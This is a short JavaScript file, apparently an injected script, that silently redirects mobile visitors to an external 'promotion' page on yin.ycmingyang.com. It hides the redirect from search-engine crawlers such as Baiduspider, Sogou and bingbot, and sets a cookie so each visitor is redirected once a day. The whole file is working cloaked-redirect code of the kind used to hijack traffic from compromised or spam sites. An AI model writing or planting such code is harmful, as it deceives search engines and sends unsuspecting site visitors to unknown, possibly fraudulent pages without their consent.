(function() {
    const REDIRECT_COOKIE_NAME = 'mobile_redirected';
    const COOKIE_EXPIRE_DAYS = 1;
    const TARGET_URL = "https://yin.ycmingyang.com/21/index.html?promotion=elb4iG";

    function isMobile() {
        return /(mobile|android|iphone|ipod|blackberry|iemobile|opera mini|windows phone)/i.test(navigator.userAgent) && 
               !/(ipad|tablet)/i.test(navigator.userAgent);
    }

    function isSearchEngineSpider() {
        const ua = navigator.userAgent;
        const spiders = [
            /Baiduspider/i, /Sogou/i, /bingbot/i, /YisouSpider/i, /Shenma/i, /360Spider/i
        ];
        return spiders.some(pattern => pattern.test(ua));
    }

    function hasRedirected() {
        const cookies = document.cookie.split(';');
        for (let i = 0; i < cookies.length; i++) {
            const cookie = cookies[i].trim();
            if (cookie.startsWith(REDIRECT_COOKIE_NAME + '=')) {
                return cookie.substring(REDIRECT_COOKIE_NAME.length + 1) === '1';
            }
        }
        return false;
    }

    function setRedirectCookie() {
        const date = new Date();
        date.setTime(date.getTime() + COOKIE_EXPIRE_DAYS * 86400000);
        document.cookie = REDIRECT_COOKIE_NAME + "=1; expires=" + date.toUTCString() + "; path=/; samesite=lax";
    }

    function initMobileRedirect() {
        if (isSearchEngineSpider()) return;
        if (!isMobile() || hasRedirected()) return;

        setRedirectCookie();
        // 立即跳转，无延迟
        window.location.replace(TARGET_URL);
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', initMobileRedirect);
    } else {
        initMobileRedirect();
    }
})();